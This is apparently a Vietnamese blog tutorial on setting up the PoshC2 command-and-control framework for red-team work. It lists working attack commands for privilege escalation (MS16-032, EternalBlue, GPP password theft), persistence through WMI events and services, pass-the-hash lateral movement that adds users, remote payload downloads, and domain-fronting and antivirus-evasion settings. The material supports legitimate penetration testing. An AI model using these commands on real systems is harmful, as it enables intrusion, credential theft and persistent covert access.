Chuyện là từ trước tới giờ, khi thực hiện công việc Redteam mình thường sử dụng Meterpreter (Metasploit Framework) cho mục đích làm C&C (Command and control).Tuy nhiên vấn đề dần nảy sinh,khi mình cần test vào các công ty lớn, buộc phải control một số lượng máy khá nhiều.Việc phân chia theo Session của Meterpreter làm đôi lúc mình rối tung. Mình nhầm lẫn giữa session của máy A với session của máy B. Nhầm lẫn giữa shell user và shell hệ thống, nhầm lẫn giữa shell trước và sau khi bị reboot.Từ đó mình chuyển hẳn sang sử dụng Cobalt Strike và thấy độ ưu việt vượt trội của nó. Mình quyết định gắn bó với Cobalt Strike mãi mãi… 🤡
Tuy nhiên một vấn đề khác lại nảy sinh, khi trong một số kỳ thi của Offensive Security, Cobalt Strike là thành phần đầu tiên bị cấm tiệt.Dùng Meterpreter thì ngại nên mình quyết định tìm một công cụ C2 tốt và đáp ứng đủ yêu cầu. Lân la trên các diễn đàn thì mình tìm được PoshC2.
1. Poshc2 là gì?
Theo định nghĩa trên website chính thức, Poshc2 là một proxy aware C2 framework hỗ trợ công việc cho Pentester với mục đích Post-exploitation (Privilege escalation & Persistent ) và Lateral movement (kiểu bạn hack vào máy A sau đó lợi dụng nó để hack vào máy B).
PoshC2 chủ yếu được viết bằng ngôn ngữ lập trình Python và tuân theo dạng module để người dùng có thể dễ dàng thêm các module của riêng họ. Nó đồng thời cũng hỗ trợ sẵn cho chúng ta nhiều dạng payload khác nhau, đa số thuộc nhóm Powershell, C#, C++, DLL, và Shellcode (Đặc biệt các payload này được update thường xuyên hơn so với Meterpreter, làm giảm khả năng bị phát hiện với AntiVirus)
Các tính năng đáng chú ý của PoshC2 bao gồm:
- Hỗ trợ Docker
- Độ tùy biến của payload cao, có thể cấu hình thời gian payload tự lăn ra chết (killdate) 😃
- Các AV lởm khởm khó có thể detect được các payload của PoshC2
- Hỗ trợ giao tiếp qua các kênh như Slack hay Pushover
- Tính bảo mật C2 infrastructure cao, tránh bị hack ngược lại mất Zoombies
- Miễn phí và mã nguồn mở
- …
- Được phép sử dụng trong các kỳ thi của Offsec
2. Cài đặt PoshC2
Về mặt lý thuyết, PoshC2 có thể được cài đặt trên bât kỳ hệ thống nào có Python3, tuy nhiên nó thường chỉ được thử nghiệm trên một số nền tảng phổ biến về hacking như Ubuntu hay Debian. Do bản thân PoshC2 chứa payload độc hại, nên chúng ta tránh cài đặt trên các hệ thống chạy các AntiVirus xịn như Kaspersky hay Windows Defender.
Để cài đặt trên Ubuntu, ta sử dụng câu lệnh sau:
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh |sudobash
Sau khi cài đặt thành công, ta nhận được thông tin sơ lược về cách sử dụng
Theo đó, quy trình thực hiện sẽ như sau :
Bước 1: Sử posh-project
để tạo một project mới
Bước 2: Sử dụng posh-config
để cấu hình cho project vừa tạo
Bước 3: Sử dụng posh-server
để create payload (ở lần đầu khởi tạo project) và hiển thị output command ở các lần tiếp theo
Bước 4: Sử dụng posh
để login và tương tác với nạn nhân
3. Thiết lập môi trường
3.1. Tạo một Project mới
posh-project -n [ten_project]
Trong trường hợp ta có nhiều hơn một project, có thể sử dụng -s
flag để chuyển đổi qua lại giữa các project với nhau
3.2. Cấu hình Project
posh-config
Sau khi sử dụng posh-config
ta được chuyển hướng tới một file cấu hình như sau :
Có kha khá thông số chúng ta cần chỉnh sửa (trong đó 2 thông số đầu là quan trọng nhất)
Server Listen (giống như ta cấu hình LHOST trong multi/handler)
indIP: '0.0.0.0' //ip của hacker
BindPort:443//port của hacker
Payload Host/Port (giống như khi ta SET LHOST trong msfvenom)
PayloadCommsHost:"https://127.0.0.1" # "https://www.domainfront.com:443,https://www.direct.com"
Nếu chúng ta giữ nguyên BinPort là 443 thì khi đó PayloadCommHost sẽ được giữ nguyên là https://ip. Trong trường hợp ta đổi thông số BindPort sang port khác (ví dụ 4444), khi đó PayloadCommsHost sẽ có dạng “http://ip:4444” hoặc ta cần thêm thống số
PayloadCommsPort
vào file cấu hình
DomainFrontHeader (trong trường hợp ta muốn fake thông tin hiển thị của payload trong Network Capture)
DomainFrontHeader:"" # "axpejfaaec.cloudfront.net,www.direct.com"
Referrer:"" # optional
ServerHeader:"Apache"
UserAgent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36" # This should be updated to match the environment, this is Chrome on 2020-03-2
Kill Dates (giới hạn thời gian hoạt động của payload)
KillDate:"2999-12-01" # yyyy-MM-dd
Gửi thông tin thông qua Slack/Pushover
# Pushover - https://pushover.net/
Pushover_APIToken:""
Pushover_APIUser:""
# Slack - https://slack.com/
Slack_BotToken:"" # The token used by the application to authenticate. Get it from https://[YourSlackName].slack.com/apps/A0F7YS25R (swap out [YourSlackName]). Should start with xobo-.
Slack_UserID:"" # Found under a users profile (i.e UHEJYT2AA). Can also be "channel".
Slack_Channel:"" # i.e #bots
Process Migration
DefaultMigrationProcess:"C:\Windows\system32\netsh.exe" # Used in the PoshXX_migrate.exe payloads
Cấu hình proxy
# SOCKS Proxying Options
SocksHost:"http://127.0.0.1:49031" # The host the C2 http requests communicate with - not the port the SOCKS client connects to. Most cases should be left like this and set in rewrite rules.
3.3. Posh-Server
Với các thông số đầy đủ, ta tiến hành sử dụng posh-server
Trong lần đầu khởi chạy (với một cấu hình mới), PoshC2 sẽ bắt đầu tạo các payloads – quá trình này sẽ mất khoảng 5-6 phút.
Payload được tạo thành công , chia thành nhiều nhóm khác nhau như Powershell , C++, C# , DLL, Shellcode … được lưu trữ tại /var/poshc2/[project_name]
3.4. Posh
Sau khi khởi chạy Posh-Server
thành công, ta tiến hành sử dụng posh
để “login” vào hệ thống. Nhưng khác với CobalStrike theo đúng nguyên tắc Server-Client multi Server , thì PoshC2 hơi “giả cầy” ở chỗ chỉ cung cấp username để đăng nhập trên cùng một Server với mục đích để dàng ghi log, chứ không phải cho mục đích xác thực.
posh
sẽ là nơi bạn input command còn posh-server
sẽ là nơi hiển thị các output được trả về từ nạn nhân
Nếu username có dấu * thì payload đang chạy với quyền administrator.
Ngoài ra, PoshC2 còn cung cấp một vài công cụ hữu ích cho chúng ta như:
posh-service : Cấu hình PoshC2 như một serivce
posh-stop-service : Tắt cấu hình PoshC2 service
posh-log : Xem log hiển thị của PoshC2
posh-update : Update PoshC2
4. Sử dụng PoshC2 cho Post-Exploit
Sau khi payload gửi cho nạn nhân và được kích hoạt. Ta nhận được các ImplantID tương ứng với 1-2-3-4
. Nhập trực tiếp các số này để tương tác với shell (điều này thì mình chẳng thấy khác gì so với session của Meterpreter)
Function
Sau khi kết nối thành công với nạn nhân. PoshC2 cung cấp cho chúng ta rất nhiều công cụ/tùy chọn để tấn công với nhiều kỹ thuật khác nhau:
Privilege Escalation: (Leo thang đặc quyền)
invoke-allchecks
Invoke-PsUACme -Payload "c:tempuac.exe" -method sysprep
get-mshotfixes | where-object {$_.hotfixid -eq "kb2852386"}
invoke-ms16-032
invoke-ms16-032-proxypayload
invoke-eternalblue -target 127.0.0.1 -initialgrooms 5 -maxattempts 1 -msfbind
get-gpppassword
get-content 'c:programdatamcafeecommon frameworksitelist.xml'
dir -recurse | select-string -pattern 'password='
...
File Management:
download-file -source 'c:temp dirrun.exe'
download-files -directory 'c:temp dir'
upload-file -source 'c:temprun.exe' -destination 'c:temptest.exe'
web-upload-file -from 'http://www.example.com/app.exe' -to 'c:tempapp.exe'
...
Persistence (with powershell.exe)
Install-persistence 1,2,3
remove-persistence 1,2,3
install-servicelevel-persistence
remove-servicelevel-persistence
invoke-wmievent -name backup -command "powershell -enc abc" -hour 10 -minute 30
get-wmievent
remove-wmievent -name backup
...
* Persistence:
=============
installexe-persistence
removeexe-persistence
Lateral Movement:
get-externalip
test-adcredential -domain test -user ben -password password1
invoke-smblogin -target 192.168.100.20 -domain testdomain -username test -hash/-password
invoke-smbclient -Action Put -source c:temptest.doc -destination test.comc$temptest.doc -hash
invoke-smbexec -target 192.168.100.20 -domain testdomain -username test -hash/-pass -command "net user smbexec winter2017 /add"
invoke-wmiexec -target 192.168.100.20 -domain testdomain -username test -hash/-pass -command "net user smbexec winter2017 /add"
net view | net users | net localgroup administrators | net accounts /dom
whoami /groups | whoami /priv
Active Directory Enumeration:
invoke-aclscanner
invoke-aclscanner | Where-Object {$_.IdentityReference -eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name}
get-objectacl -resolveguids -samaccountname john
add-objectacl -targetsamaccountname arobbins -principalsamaccountname harmj0y -rights resetpassword
get-netuser -admincount | select samaccountname
get-netuser -uacfilter not_accountdisable -properties samaccountname,pwdlastset
get-domainuser -uacfilter not_password_expired,not_accountdisable -properties samaccountname,pwdlastset | export-csv act.csv
...
Load module
SearchHelp
Auto complete
Screenshot
5. Mở rộng PoshC2
PoshC2 được thiết kế dưới dạng module và được viết chủ yếu bằng python khiến cho việc tùy biến nó trở lên khá dễ dàng
Adding Modules
loadmodule Getuserspns.ps1
Getuserspns
Adding Aliases
Để cấu hình aliases cho payload , ta chỉnh sửa trong poshc2/client/Alias.py
Adding Auto-completion
Auto-completion là một tính năng khá thú vị trong PoshC2. Nó hỗ trợ khả năng gợi ý và sử dụng lại các câu lệnh được thực hiện thường xuyên giúp tối ưu thời gian và công sức cho Pentester. Để cấu hình “Auto-completion” cho payload của chúng ta , ta tiến hành chỉnh sửa
poshc2/client/Help.py
Adding Payload
Nếu không hài lòng với các payload có sẵn được PoshC2 tạo ra, chúng ta có thể chỉnh sửa hay tạo mới các payload của riêng mình
Để chỉnh sửa , ta tiến hành thay đổi các templates trong resources/payload-templates
– nơi chứa các payload dạng “thô” hoặc sửa quá trình tạo payload tại poshc2/server/Payloads.py
Nếu muốn tạo mới, ta tiến hành add payload của mình vào poshc2/server/payloads/
(Không có tài liệu mô tả chi tiết cách viết payload mới, ta phải dựa vào các payload cũ để tiến hành phân tích và mô phỏng theo).
Report
PoshC2 hỗ trợ công việc xuất report cho toàn bộ quá trình tấn công với 2 tùy chọn :
Tạo report html
generate-reports
Tạo report CSV
generate-csvs
Một lưu ý nhỏ là thời gian hiển thị trên report sẽ căn cứ vào thời gian của máy tấn công, Do đó ta cần lưu ý chỉnh sửa cho khớp với thời gian thực tế.
Tham khảo
Nguồn: viblo.asia